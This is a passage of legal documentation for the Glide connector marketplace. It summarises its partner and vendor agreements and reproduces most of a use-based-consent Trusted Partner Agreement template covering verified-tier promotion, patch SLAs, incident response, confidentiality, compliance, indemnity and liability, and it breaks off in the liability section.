**The TPA and TSA are use-based consent instruments — no countersign required.** Promoting a Connector or Skill to the Verified Trust Tier (or maintaining it there for ≥30 days) is the act of acceptance. Same way you accept GitHub's TOS by pushing a commit. If your legal department requires a wet-signed counterpart for their files, email `legal@glide.co` and Glide will provide one — but it's not a condition of being a Trusted Partner. See §0 of each agreement for the formal mechanic.
The vendor-posture documents (Chainalysis, Coinbase x402, Ory) are operator-facing notices, not contracts — they describe what an Operator must hold contractually with the named third-party vendor.
## Artifacts
Template contract between Glide and a connector vendor whose adapter is promoted to the **Verified** trust tier. Covers code-quality SLA, incident-response timeline, mutual indemnification, marketplace placement, Glide's right to revoke Verified status for cause.
Template contract between Glide and a skill author whose agent skill is promoted to **Verified**. Lighter than the TPA. Heart of the agreement is prompt-injection review attestation, scope-minimization, and runtime envelope integrity.
Operator-facing notice + compliance brief for the Chainalysis sanctions-screening adapter. **Operator must hold their own Chainalysis customer agreement.** Glide is not a party.
Operator-facing notice + compliance brief for the Coinbase x402 facilitator adapter. Includes the F1 IRON RULE — facilitator-claimed transaction IDs are **never** trusted; the operator independently RPC-verifies on-chain before persisting.
Operator-facing notice + compliance brief for the OAuth Authorization Server (Ory Network hosted **or** self-hosted Hydra OSS). Both modes documented as equally valid.
## Common framework defaults
* **Governing law:** Delaware
* **Venue:** JAMS arbitration in San Francisco, with carve-out for injunctive relief in any competent court
* **Class-action waiver:** yes
* **Attorney-fee reciprocity:** yes
* **Warranty:** AS IS / AS AVAILABLE; consequential damages excluded
* **MIT preservation:** the connector or skill code stays MIT regardless of TPA / TSA status — forks are explicitly permitted and not chillable
## Where the canonical files live
| Artifact | Canonical path in the source repo |
| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| TPA | [`docs/TRUSTED_PARTNER_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_PARTNER_AGREEMENT.md) |
| TSA | [`docs/TRUSTED_SKILL_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_SKILL_AGREEMENT.md) |
| Chainalysis posture | [`packages/connectors/chainalysis/{DISCLAIMER,COMPLIANCE}.md`](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/connectors/chainalysis) |
| Coinbase x402 posture | [`packages/connectors/coinbase-x402/{DISCLAIMER,COMPLIANCE}.md`](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/connectors/coinbase-x402) |
| Ory posture | [`docs/legal/ory-vendor-posture-{DISCLAIMER,COMPLIANCE}.md`](https://github.com/darshanbathija/axtior-neobank/tree/main/docs/legal) |
The pages below excerpt the substantive sections; for execution always use the canonical file.
# Trusted Partner Agreement (template, use-based consent)
Source: https://glide-9da73dea.mintlify.app/oss/legal/trusted-partner-agreement
Use-based consent contract between Glide and a Verified-tier connector vendor. No countersign required.
**Canonical source:** [`docs/TRUSTED_PARTNER_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_PARTNER_AGREEMENT.md)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# Glide Trusted Partner Agreement
**Status:** Use-based consent. No countersign required.
**Form:** v1.1
**Last revised:** 2026-04-27
**Applies to:** Promotion of a connector from `community` tier to `verified` tier in the Glide Marketplace.
> **Plain-language summary (not part of the contract).** This is the agreement that lets a vendor's connector wear the Glide "Verified" badge, appear on the Marketplace, and ship enabled-by-default in Glide. It does NOT change the open-source license on the connector code — that stays MIT, and anyone can still fork it. What this agreement covers is the badge, the Marketplace placement, and the obligations that come with them: code-quality SLA, incident response, audit cooperation, and mutual indemnification. It does not bind end users or operators of self-hosted Glide deployments — they have their own separate terms with the partner.
>
> **You don't sign anything.** By having a Connector promoted to Verified-Tier in the Glide Marketplace and continuing to maintain it, you (the Partner) accept these terms — same way you accept GitHub's TOS by pushing a commit. See §0 Acceptance below for the formal mechanic. If you'd rather have a wet-signed countersigned copy on file (some legal departments require it), Glide will provide one on request — but it's not required to be a Trusted Partner.
>
> **How this Agreement is structured.**
>
> * §1 Definitions — what each capitalized term means.
> * §§2–3 Promotion + license posture — what Verified Tier is, and why MIT still wins.
> * §§4–5 Mutual trademark licenses — Verified Mark to Partner, Partner Marks to Glide.
> * §§6–8 Partner operational obligations — code quality, incident response, audit cooperation.
> * §§9–10 Confidentiality + compliance — info handling and legal posture.
> * §11 Term, renewal, termination, revocation — including the 14-day non-emergency / immediate-emergency split.
> * §§12–14 Risk allocation — warranties, indemnity, liability cap.
> * §15 Disputes — Delaware law + JAMS SF arbitration with court carve-out for injunctive relief.
> * §16 Boilerplate — including the explicit "Operators are not parties" clause.
> * Schedules A–B — Connector reference card, side-letter slot for optional commercial extensions.
***
## Parties
This Trusted Partner Agreement (this "**Agreement**") governs the relationship between:
* **Glide:** Axtior, Inc., a Delaware corporation ("**Glide**"); and
* **Partner:** the legal entity that owns or controls the Connector identified by `[CONNECTOR_SLUG]` and whose Connector is promoted to Verified Tier in the Marketplace ("**Partner**").
Glide and Partner are each a "**Party**" and together the "**Parties**." This Agreement governs the promotion of the Connector identified below from `community` tier to `verified` tier in the Glide ecosystem.
***
## 0. Acceptance — How This Agreement Becomes Effective
0.1. **No countersign required.** Glide intentionally distributes this Agreement as a use-based consent instrument rather than a wet-signed contract. Partner accepts this Agreement by performing **any one** of the following acts after this version of the Agreement (Form v1.1) is published at `glide.co/docs/oss/legal/trusted-partner-agreement`:
(a) requesting promotion of the Connector from `community` to `verified` Trust Tier (whether by GitHub PR, email, or in-product flow);
(b) maintaining the Connector at Verified Trust Tier for any continuous period of 30 days after this Form's publication; or
(c) using the Verified Mark in any public-facing materials (website, README, marketplace listing, conference signage, or otherwise).
0.2. **Effective Date.** This Agreement becomes effective with respect to Partner on the earliest date Partner performs an act described in §0.1 (the "**Effective Date**"). Where this Agreement refers to "the Effective Date" or "as of the Effective Date," that reference is to this date.
0.3. **Authority.** The natural person taking the act described in §0.1 represents that they have authority to bind Partner. Partner agrees that Glide may rely on that representation without further inquiry.
0.4. **Form bumps.** Glide may publish a new Form of this Agreement at any time at the URL above. A Form bump that increases Partner's obligations becomes effective for an existing Verified Connector only when Partner first performs an act described in §0.1 with respect to the new Form (typically the next Major Release of the Connector or 60 days after publication, whichever is earlier). Until then, the prior Form continues to govern.
0.5. **Optional countersigned counterpart.** If Partner's counsel requires a wet-signed counterpart, Partner may request one from `legal@glide.co` and Glide will provide a counterpart on Glide letterhead, signed by an authorized officer of Glide, with a Partner signature block for Partner's countersign. The countersigned counterpart is a *record* of acceptance, not a *condition* of acceptance — the use-based mechanic in §0.1 is the operative one.
0.6. **Withdrawal.** Partner may withdraw acceptance prospectively at any time by either (i) requesting demotion of the Connector to `community` Trust Tier, or (ii) ceasing all use of the Verified Mark and notifying Glide at `legal@glide.co`. Withdrawal does not relieve Partner of obligations that accrued during the term, including any indemnity, confidentiality, or accrued-fees obligations that survive under §11.6.
***
## 1. Definitions
Capitalized terms have the meanings given below. Defined terms are also referenced inline at first use elsewhere in this Agreement for ease of reading.
1.1. "**Glide Software**" means the open-source orchestration shell distributed by Glide under the MIT License at `[GLIDE_REPO_URL]`, including all packages, applications, and components published from that repository.
1.2. "**Connector**" means the source-code package located at `packages/connectors/[CONNECTOR_SLUG]/` in the Glide Software, together with its manifest, capability implementations, contract tests, and accompanying documentation, that integrates a Partner-controlled service into the Glide Software.
1.3. "**Connector Slug**" means `[CONNECTOR_SLUG]`, the canonical identifier of the Connector as registered in the Glide manifest tree.
1.4. "**Partner Service**" means the underlying Partner-operated product, API, or platform that the Connector integrates with.
1.5. "**Trust Tier**" means a quality classification assigned to a Connector by Glide, having the values `community`, `verified`, or `core`, as defined in `packages/connectors/_base/src/trust-tier.ts`. Trust Tier is a code-quality classification and is not a license-tier or commercial gating mechanism.
1.6. "**Verified Tier**" means the `verified` Trust Tier value, signifying that (a) the Connector has passed the Glide review checklist, (b) Partner has executed this Agreement, and (c) the Connector ships enabled in default Glide builds with per-tenant opt-in.
1.7. "**Verified Mark**" means the visual badge, label, and textual designation "Glide Verified," "Verified Connector," or substantially similar designation, displayed by Glide on the Marketplace and within the Glide Software to identify Verified-Tier Connectors.
1.8. "**Marketplace**" means the public-facing catalog of connectors and skills hosted by Glide at `glide.co/connectors`, `docs.glide.dev`, and any successor URL designated by Glide, together with any in-product surfaces within the Glide Software that render the same catalog data.
1.9. "**Marketplace Listing**" means the Connector's entry in the Marketplace, including its rendered card, detail page, Verified Mark, Partner Marks, and metadata sourced from the Connector's manifest.
1.10. "**Operator**" means any natural person or entity that deploys, hosts, operates, or otherwise runs the Glide Software (including any fork or derivative) for itself or for end users, whether on Glide-operated infrastructure ("Glide Cloud") or on infrastructure controlled by the Operator ("Self-Hosted").
1.11. "**Self-Hoster**" means an Operator running the Glide Software on infrastructure not controlled by Glide.
1.12. "**End User**" means any natural person or entity that uses an instance of the Glide Software made available by an Operator, whether or not that End User has a contractual relationship with Partner.
1.13. "**Major Release**" means a release of the Connector whose version number reflects a backwards-incompatible change to its public manifest, capability surface, or webhook contracts (i.e., a major-version SemVer bump).
1.14. "**Partner Marks**" means the Partner trademarks, service marks, logos, and trade names that Partner authorizes Glide to display on the Marketplace Listing pursuant to Section 5.
1.15. "**Glide Marks**" means the trademarks, service marks, logos, and trade names of Glide, including the Verified Mark.
1.16. "**Confidential Information**" has the meaning given in Section 9.
1.17. "**Code-Quality SLA**" has the meaning given in Section 6.
1.18. "**Incident**" has the meaning given in Section 7.
1.19. "**Effective Date**" has the meaning given in §0.2.
1.20. "**MIT License**" means the version of the MIT License under which the Glide Software is distributed, a copy of which is available in the `LICENSE` file at the root of the Glide Software repository.
1.21. "**Trusted Partner**" means a Partner that has executed this Agreement and whose Connector currently holds Verified-Tier status. The phrase is used as a descriptive label in marketing materials and in the Marketplace; it confers only the rights expressly granted in this Agreement.
1.22. "**Side Letter**" means a separately-executed written agreement between the Parties that references this Agreement and addresses Glide-Cloud-only commercial extensions (such as review grants, sponsored placement, or payout integrations). A Side Letter is optional and is not required for Verified-Tier status.
1.23. "**Fees**" means amounts (if any) that one Party agrees in writing to pay the other under a Side Letter. No Fees are owed under this Agreement absent a signed Side Letter.
***
## 2. Verified-Tier Promotion
2.1. **Scope of promotion.** Subject to the terms of this Agreement, Glide will promote the Connector identified by `[CONNECTOR_SLUG]` from `community` Trust Tier to `verified` Trust Tier in the Glide Software for the version range `[CONNECTOR_VERSION_RANGE]`, and will display the Verified Mark and the Marketplace Listing for that version range.
2.2. **One Agreement per Major Release.** This Agreement governs the Connector at the Major Release identified above. A new Major Release of the Connector requires either (a) a written renewal addendum referencing this Agreement, or (b) a new Trusted Partner Agreement on the then-current form. Until such renewal or new agreement is executed, the new Major Release ships at `community` Trust Tier with the standard banner, regardless of any prior Verified-Tier status.
2.3. **No exclusivity.** Nothing in this Agreement grants either Party an exclusive right. Glide may verify other connectors that integrate competing services. Partner may participate in similar programs operated by other software platforms.
2.4. **No fee, default.** Marketplace placement is offered at no fee for partners whose Connector touches regulated money movement (e.g., custody, banking-as-a-service, on/off-ramps, payment rails). Optional commercial extensions (Glide-Cloud-only review grants, payout integrations, sponsored-placement features) are addressed in a separate side letter referencing this Agreement; absence of such a side letter means no fee is owed by either Party for the rights granted herein.
***
## 3. Open-Source License Posture
3.1. **Connector code remains MIT.** The source code of the Connector is distributed under the MIT License as part of the Glide Software. Nothing in this Agreement modifies, restricts, or supersedes that license. Any person or entity, including Partner's competitors, may fork, modify, redistribute, and use the Connector code under the MIT License regardless of Trust Tier or the existence or termination of this Agreement.
3.2. **No chilling effect.** Glide will not invoke this Agreement, nor any breach or termination thereof, to restrict any person's rights under the MIT License with respect to the Connector code. Partner's promotional rights are separate from, and do not condition, the open-source rights of any third party.
3.3. **Contributions under DCO.** Any contribution Partner makes to the Connector or the Glide Software through pull request, patch, or otherwise will be made under the MIT License and signed off under the Developer Certificate of Origin (DCO), version 1.1. Partner represents that each contributor authorized to submit on Partner's behalf has the right to do so.
3.4. **What this Agreement does cover.** This Agreement covers (a) the Verified Mark, (b) the Marketplace Listing, (c) the Partner Marks license to Glide for Marketplace display, (d) the Code-Quality SLA, (e) the Incident response process, (f) confidentiality of incident reports and audit findings, (g) mutual indemnification within the agreed scope, and (h) the operational obligations between the Parties associated with Verified-Tier status.
***
## 4. Verified Mark — License from Glide to Partner
4.1. **Limited license.** Subject to Partner's continuing compliance with this Agreement, Glide grants Partner a non-exclusive, non-transferable, non-sublicensable, royalty-free, revocable license, during the Term, to use the Verified Mark solely (a) on Partner's website, marketing materials, and case studies, in each case in connection with truthful statements about the Connector's Verified-Tier status, and (b) in co-marketing materials prepared in coordination with Glide.
4.2. **Brand guidelines.** Partner will use the Verified Mark in conformance with Glide's then-current brand guidelines, made available at `[GLIDE_BRAND_GUIDELINES_URL]`. Glide may update those guidelines on at least 30 days' notice.
4.3. **Reservation of rights.** Glide retains all right, title, and interest in and to the Verified Mark and the Glide Marks. No rights are granted to Partner other than those expressly stated in this Section 4. Partner will not register, attempt to register, or contest Glide's ownership of any Glide Marks.
4.4. **Quality control.** Partner acknowledges that Glide must maintain control over the quality of goods and services associated with the Verified Mark. Glide may audit Partner's use of the Verified Mark and require correction of any non-conforming use within 14 days of notice.
***
## 5. Partner Marks — License from Partner to Glide
5.1. **Limited license.** Subject to the terms of this Agreement, Partner grants Glide a non-exclusive, worldwide, non-transferable (except as provided in Section 14.5), royalty-free license, during the Term, to use the Partner Marks (a) on the Marketplace Listing for the Connector, (b) in the in-product Glide Software UI in connection with the Connector, (c) in Glide-prepared documentation, blog posts, case studies, and other communications referring truthfully to Partner as a Trusted Partner, and (d) in co-marketing materials prepared in coordination with Partner.
5.2. **Reservation of rights.** Partner retains all right, title, and interest in and to the Partner Marks. No rights are granted to Glide other than those expressly stated in this Section 5.
5.3. **Brand guidelines.** Glide will use the Partner Marks in conformance with Partner's then-current brand guidelines, provided in writing to Glide. Partner may update those guidelines on at least 30 days' notice.
5.4. **Self-Hosted display.** Partner acknowledges that the Glide Software is open-source, and that Self-Hosters render the Marketplace Listing (including Partner Marks) from manifest data shipped in the Glide Software. The license in Section 5.1 extends to such Self-Hosted display when the Connector retains Verified-Tier status. If Verified-Tier status is revoked under Section 11 or this Agreement terminates, Partner Marks remain in any historical release artifacts of the Glide Software (because removing them from past releases is not feasible for an open-source project), but Glide will (a) revert the manifest in the then-current release branches to non-Verified Trust Tier, (b) remove the Partner Marks from the live Marketplace at `glide.co/connectors`, and (c) prevent further use of the Partner Marks in new Glide-prepared materials. Partner waives any claim against Glide arising solely from the persistence of Partner Marks in historical release artifacts.
***
## 6. Code-Quality SLA
6.1. **Maintenance commitments.** During the Term, Partner will:
(a) Keep the Connector functional against the then-current release of the Partner Service, including timely updates to track non-trivial Partner Service API changes;
(b) Maintain passing contract tests against the Glide contract-test harness (per `packages/connectors/_base/src/contract-test-suite.ts`) for the Connector at every Major Release covered by this Agreement;
(c) Maintain accurate manifest metadata, including declared egress hosts, capabilities, supported regions, and supported currencies; and
(d) Designate at least one Partner technical contact for the Connector and keep that contact information current with Glide.
6.2. **Vulnerability patch SLA.** Partner will, upon becoming aware of a security vulnerability in the Connector or in the manner in which the Connector is integrated:
(a) Issue or coordinate a patch within **72 hours** for vulnerabilities classified as Critical (CVSS v3.1 base score 9.0–10.0, or otherwise reasonably classified as Critical by either Party);
(b) Issue or coordinate a patch within **7 calendar days** for vulnerabilities classified as High (CVSS v3.1 base score 7.0–8.9, or otherwise reasonably classified as High);
(c) Issue or coordinate a patch within **30 calendar days** for vulnerabilities classified as Medium or Low; and
(d) Cooperate in good faith with Glide on coordinated disclosure timing and language.
6.3. **No malicious code.** Partner represents and warrants that the Connector does not, and during the Term will not, contain (a) malicious code, viruses, worms, time bombs, or trojan horses, (b) telemetry, beacons, or analytics that exfiltrate End User data outside the declared egress hosts in the Connector manifest, (c) cryptocurrency miners, (d) hidden backdoors or undisclosed authentication bypass mechanisms, or (e) license-evasion mechanisms designed to defeat Glide's CI gates.
6.4. **CI gate compliance.** Partner agrees that the Connector must continue to pass the eight-gate CI matrix specified in `.github/workflows/connector-skill-ci.yml` and related workflows, including manifest validation, contract tests, license-compatibility scan, supply-chain scan, egress-host lint, DCO sign-off, and signed-commits check. Glide may add or modify gates on at least 60 days' notice; failure to pass after the notice period is grounds for revocation under Section 11.
***
## 7. Incident Response
7.1. **Definition.** An "**Incident**" means any of: (a) a security vulnerability in the Connector requiring patch under Section 6.2; (b) a Partner Service outage that materially affects Connector functionality; (c) a regulatory notice, action, or inquiry directed at Partner that materially impairs Partner's ability to operate the Partner Service in the Connector's declared regions; or (d) a confirmed compromise of Partner systems that could affect the integrity of Partner Service responses to Glide Software instances.
7.2. **Notification.** Each Party will notify the other of an Incident affecting the Connector without undue delay and in any case:
(a) Within **24 hours** for Critical Incidents (Section 6.2(a) class);
(b) Within **72 hours** for High Incidents (Section 6.2(b) class); and
(c) Within **5 business days** for Medium or Low Incidents.
7.3. **Cooperation.** The Parties will cooperate in good faith on Incident response, including (a) joint root-cause analysis where feasible, (b) coordinated public disclosure where required, (c) deployment of fixes via the Connector release pipeline, and (d) mitigation guidance for Operators.
7.4. **Operator and End User communications.** Glide may publish Incident advisories to Operators and the public, including in the Marketplace and in the Glide changelog, after coordinating disclosure language with Partner where reasonably practicable. Where regulatory or contractual obligations require faster disclosure than coordination allows, the disclosing Party will proceed with disclosure and notify the other Party as soon as feasible.
***
## 8. Audit Cooperation
8.1. **Compliance artifact requests.** Up to twice per twelve-month period, with at least 30 days' written notice and at no charge to Partner, Glide may request from Partner reasonable compliance artifacts pertaining to the Connector and the underlying Partner Service, limited to the categories applicable to Partner's regulated activities. Examples include: SOC 2 Type II report (or equivalent), KYC/AML program summary, sanctions-screening policy summary, breach-notification policy, and most recent penetration-test summary.
8.2. **Source review of the Connector.** Because the Connector is open-source, no separate source review is required for the Connector itself. Glide and any third party may review the Connector source at any time.
8.3. **Operator audits.** Where an Operator (including a Self-Hoster) requests Partner audit cooperation pursuant to that Operator's separate agreement with Partner, this Section 8 does not displace that obligation; this Agreement governs only the cooperation between Glide and Partner.
8.4. **Confidentiality of audit materials.** Materials provided under this Section 8 are Confidential Information of Partner under Section 9, and Glide will limit access to its personnel with a need-to-know.
***
## 9. Confidentiality
9.1. **Definition.** "**Confidential Information**" means non-public information disclosed by one Party (the "**Discloser**") to the other (the "**Recipient**") that is identified as confidential at disclosure or that a reasonable person would understand to be confidential under the circumstances, including (a) Incident reports prior to coordinated disclosure, (b) audit materials provided under Section 8, (c) commercial terms in any side letter referencing this Agreement, and (d) prerelease product roadmap details exchanged between the Parties.
9.2. **Exclusions.** Confidential Information does not include information that (a) is or becomes publicly available without breach of this Agreement, (b) was in Recipient's possession before receipt from Discloser, (c) is independently developed by Recipient without use of Confidential Information, or (d) is rightfully received from a third party without confidentiality obligation. The source code of the Connector and any other portion of the Glide Software is not Confidential Information.
9.3. **Obligations.** Recipient will (a) use Confidential Information only to exercise rights and perform obligations under this Agreement, (b) protect it with the same care it uses for its own confidential information, in no event less than reasonable care, and (c) not disclose it to any third party except to its employees, affiliates, contractors, and professional advisers bound by confidentiality obligations no less protective than those in this Section 9.
9.4. **Compelled disclosure.** Recipient may disclose Confidential Information to the extent required by law, court order, or regulatory authority, provided that, where legally permissible, it gives Discloser prompt notice and reasonable cooperation to seek a protective order or equivalent.
9.5. **Term.** Confidentiality obligations under this Section 9 survive expiration or termination of this Agreement for **three (3) years**, except that obligations relating to information constituting trade secrets continue for as long as such information remains a trade secret under applicable law.
***
## 10. Compliance with Applicable Law
10.1. **Partner regulatory posture.** Partner represents and warrants that, with respect to the Partner Service and any activity of the Partner Service that the Connector exposes to Glide Software instances, Partner holds and will maintain all licenses, registrations, and authorizations required by applicable law, including any required money-transmission licenses, banking partnerships, virtual-asset-service-provider registrations, or equivalents in the regions where Partner offers the Partner Service.
10.2. **KYC/AML and sanctions.** Where the Connector exposes capabilities that touch fiat or stablecoin movement on or off the Partner Service (deposits, withdrawals, transfers, swaps, custody), Partner warrants that it operates a Know-Your-Customer / Anti-Money-Laundering program reasonably designed to comply with applicable law, including (a) registration with the Financial Crimes Enforcement Network (FinCEN) as a money services business, money transmitter, or other applicable status where required by 31 C.F.R. Chapter X, (b) state money-transmitter licensure (or qualifying bank-partnership coverage under applicable state laws) in U.S. states where Partner offers covered services to U.S. End Users, (c) sanctions screening against the Office of Foreign Assets Control (OFAC) Specially Designated Nationals list, and (d) equivalent registration, licensure, and screening obligations in the non-U.S. jurisdictions where Partner operates (including Financial Action Task Force-aligned regimes).
10.3. **Glide is not a regulated party.** Partner acknowledges that Glide is a software vendor and not a money transmitter, bank, broker-dealer, virtual-asset-service-provider, or other regulated financial institution by virtue of distributing the Glide Software or maintaining the Marketplace. The Glide Software is the orchestration shell; regulated activity occurs at the Partner Service.
10.4. **Operator responsibility.** Operators are responsible for their own compliance posture, including their relationships with Partner. Nothing in this Agreement makes Glide a party to those relationships.
10.5. **Export controls.** Each Party will comply with applicable export-control and economic-sanctions laws of the United States and other jurisdictions where it operates, including the U.S. Export Administration Regulations and the regulations administered by OFAC. Neither Party will provide access to the rights granted under this Agreement to a person or entity (a) located in or ordinarily resident in a comprehensively sanctioned country or region, or (b) appearing on a denied-party or sanctioned-party list of a competent authority.
10.6. **Data protection.** Where Partner processes personal data of End Users in connection with the Partner Service, Partner will comply with applicable data-protection laws, including the General Data Protection Regulation (EU) 2016/679 (GDPR), the United Kingdom General Data Protection Regulation as supplemented by the Data Protection Act 2018 (UK GDPR), the California Consumer Privacy Act of 2018 as amended by the California Privacy Rights Act of 2020 (CCPA/CPRA), and analogous comprehensive privacy statutes in other U.S. states (including Virginia, Colorado, Connecticut, Utah, and Texas) and other jurisdictions, in each case as applicable to Partner's processing. Glide does not, by virtue of this Agreement, exchange End User personal data with Partner; any such exchange occurs in the Operator-Partner relationship, not in the Glide-Partner relationship, and Operator-Partner data-processing addenda (where required) are negotiated separately between the Operator and Partner.
***
## 11. Term, Renewal, Termination, and Revocation of Verified Status
11.1. **Term.** The initial term of this Agreement is **one (1) year** from the Effective Date (the "**Initial Term**"). The Agreement automatically renews for successive **one (1) year** terms (each a "**Renewal Term**" and, together with the Initial Term, the "**Term**") unless either Party gives written notice of non-renewal at least **60 days** before the end of the then-current term.
11.2. **Termination for material breach.** Either Party may terminate this Agreement for the other Party's material breach if the breaching Party fails to cure within **30 days** after written notice describing the breach in reasonable detail.
11.3. **Termination for insolvency or regulatory action.** Either Party may terminate this Agreement immediately on written notice if the other Party (a) becomes insolvent, files for bankruptcy, or has a petition filed against it that is not dismissed within 60 days; (b) makes an assignment for the benefit of creditors; or (c) receives a regulatory action that prohibits the other Party from performing material obligations under this Agreement.
11.4. **Termination for convenience.** Either Party may terminate this Agreement for convenience on at least **60 days** prior written notice.
11.5. **Revocation of Verified status (without termination).** In addition to its termination rights, Glide may revoke Verified-Tier status for the Connector ("**Revocation**") for cause, including (a) repeated or unremediated failure to meet the Code-Quality SLA, (b) malicious code or undisclosed telemetry in the Connector, (c) failure to respond to a Critical Incident within Section 7.2 timelines, or (d) regulatory action against Partner that materially impairs the Partner Service.
(i) **Non-emergency Revocation.** Glide will give Partner at least **14 days'** prior written notice and a reasonable opportunity to cure where cure is feasible. If Partner cures within the notice period, Verified-Tier status will be retained.
(ii) **Emergency Revocation.** Glide may revoke Verified-Tier status immediately, without prior notice, where Glide reasonably believes that immediate revocation is necessary to protect Operators or End Users from material harm (including active exploitation of a Critical vulnerability or confirmed presence of malicious code). Glide will provide written notice and a description of the basis as soon as practicable thereafter.
(iii) **Effect of Revocation.** Following Revocation, the Connector reverts to `community` Trust Tier, with the standard red banner, and Partner Marks are removed from the live Marketplace per Section 5.4. Revocation does not, by itself, terminate this Agreement; the Agreement remains in effect for any obligations that survive Revocation (e.g., confidentiality, indemnity for events occurring during Verified-Tier status).
11.6. **Survival.** The following Sections survive expiration or termination of this Agreement: 1 (Definitions), 3.1 (Connector code remains MIT), 3.2 (No chilling effect), 5.4 (final two sentences regarding historical artifacts and Partner Marks waiver), 9 (Confidentiality, for the term stated therein), 11.5(iii) (Effect of Revocation), 11.6 (Survival), 12 (Warranties and Disclaimers, with respect to events occurring during the Term), 13 (Indemnification, with respect to claims arising from events occurring during the Term), 14 (Limitation of Liability), 15 (Dispute Resolution and Governing Law), and 16 (General Provisions). Accrued payment and other obligations as of the effective date of expiration or termination also survive.
***
## 12. Warranties and Disclaimers
12.1. **Mutual authority warranty.** Each Party represents and warrants to the other that (a) it has full power and authority to enter into and perform this Agreement, (b) execution and performance do not violate any other agreement to which it is bound, and (c) the individual signing on its behalf has authority to do so.
12.2. **Partner warranties.** Partner represents and warrants that:
(a) the Connector is functional in its declared capabilities at the Major Release covered by this Agreement, in all material respects;
(b) the Partner Service is operated in compliance with applicable law in the regions declared in the Connector manifest, as further described in Section 10;
(c) the Connector does not contain malicious code or undisclosed telemetry, as set out in Section 6.3; and
(d) Partner owns or has sufficient rights in the Partner Marks to grant the license in Section 5.
12.3. **Glide warranties.** Glide represents and warrants that:
(a) the Verified Mark, when displayed by Glide for the Connector during the Term, is genuine, in the sense that (i) Glide has completed its then-current Verified-Tier review checklist for the Connector at the Major Release covered by this Agreement, (ii) two Glide reviewers (per CODEOWNERS) have signed off on the trust-tier promotion PR, and (iii) the executed Agreement and any required compliance acknowledgments are on file with Glide;
(b) Glide owns or has sufficient rights in the Glide Marks to grant the license in Section 4; and
(c) Glide will not, during the Term, knowingly distribute the Glide Software with a counterfeit or impersonating Marketplace Listing for the Connector.
12.4. **Disclaimer.** EXCEPT FOR THE LIMITED WARRANTIES IN SECTIONS 12.1, 12.2, AND 12.3, THE GLIDE SOFTWARE, THE CONNECTOR, THE PARTNER SERVICE, THE MARKETPLACE, AND ALL OTHER MATERIALS PROVIDED UNDER THIS AGREEMENT ARE PROVIDED **"AS IS"** AND "AS AVAILABLE." EACH PARTY DISCLAIMS ALL OTHER WARRANTIES, EXPRESS OR IMPLIED, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, OR ARISING FROM COURSE OF DEALING OR USAGE OF TRADE. NEITHER PARTY WARRANTS UNINTERRUPTED OR ERROR-FREE OPERATION.
***
## 13. Indemnification
13.1. **Partner indemnity.** Partner will defend, indemnify, and hold harmless Glide and its officers, directors, employees, and affiliates (the "**Glide Indemnitees**") from and against any third-party claim, action, demand, or proceeding (each, a "**Claim**"), and any resulting damages, settlements, fines, and reasonable attorney's fees and costs awarded by a court or paid in settlement, to the extent arising out of (a) Partner's breach of Section 6.3 (no malicious code), Section 10 (compliance), or Section 12.2 (Partner warranties); (b) infringement, misappropriation, or violation by the Connector or Partner Marks of any third-party intellectual property right (other than infringement caused by Glide's modifications to the Connector outside the contributions Partner submitted under Section 3.3); or (c) Partner Service activities that injure Operators or End Users.
13.2. **Glide indemnity.** Glide will defend, indemnify, and hold harmless Partner and its officers, directors, employees, and affiliates (the "**Partner Indemnitees**") from and against any Claim, and any resulting damages, settlements, fines, and reasonable attorney's fees and costs awarded by a court or paid in settlement, to the extent arising out of (a) Glide's breach of Section 12.3 (Glide warranties); or (b) infringement, misappropriation, or violation by the Glide Marks (including the Verified Mark) of any third-party intellectual property right.
13.3. **Procedure.** The indemnified Party will (a) give prompt written notice of the Claim, (b) grant the indemnifying Party sole control of defense and settlement (provided that no settlement requiring an admission of liability or imposing non-monetary obligations on the indemnified Party may be made without that Party's consent, not unreasonably withheld), and (c) provide reasonable cooperation at the indemnifying Party's expense.
13.4. **Exclusive remedy for IP claims.** Sections 13.1(b) and 13.2(b) state each Party's sole liability and exclusive remedy for third-party intellectual-property infringement claims arising under this Agreement.
13.5. **Mutual scope.** The Parties intend the indemnification obligations in this Section 13 to be substantively reciprocal in the categories of Claims each Party defends against.
***
## 14. Limitation of Liability
14.1. **Exclusion of indirect damages.** TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, NEITHER PARTY WILL BE LIABLE TO THE OTHER FOR ANY CONSEQUENTIAL, INCIDENTAL, INDIRECT, SPECIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR ANY LOST PROFITS, LOST REVENUES, LOST DATA, OR BUSINESS INTERRUPTION, ARISING OUT OF OR RELATING TO THIS AGREEMENT, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, AND EVEN IF A LIMITED REMEDY HAS FAILED OF ITS ESSENTIAL PURPOSE.
14.2. **Cap on direct damages.** EXCEPT AS SET OUT IN SECTION 14.3, EACH PARTY'S AGGREGATE LIABILITY TO THE OTHER, ARISING OUT OF OR RELATING TO THIS AGREEMENT, WILL NOT EXCEED THE GREATER OF:
(a) THE TOTAL FEES PAID OR PAYABLE UNDER ANY SIDE LETTER REFERENCING THIS AGREEMENT IN THE TWELVE (12) MONTHS PRECEDING THE EVENT GIVING RISE TO LIABILITY; OR
(b) \*\*U.S. $5,000**, WHICH IS THE FLOOR THAT APPLIES (i) WHEN NO FEES HAVE BEEN PAID OR ARE PAYABLE BETWEEN THE PARTIES (THE NO-FEE VERIFIED TIER POSTURE DESCRIBED IN SECTION 2.4), OR (ii) WHEN FEES IN THE PRECEDING TWELVE MONTHS WERE LESS THAN U.S. $5,000.
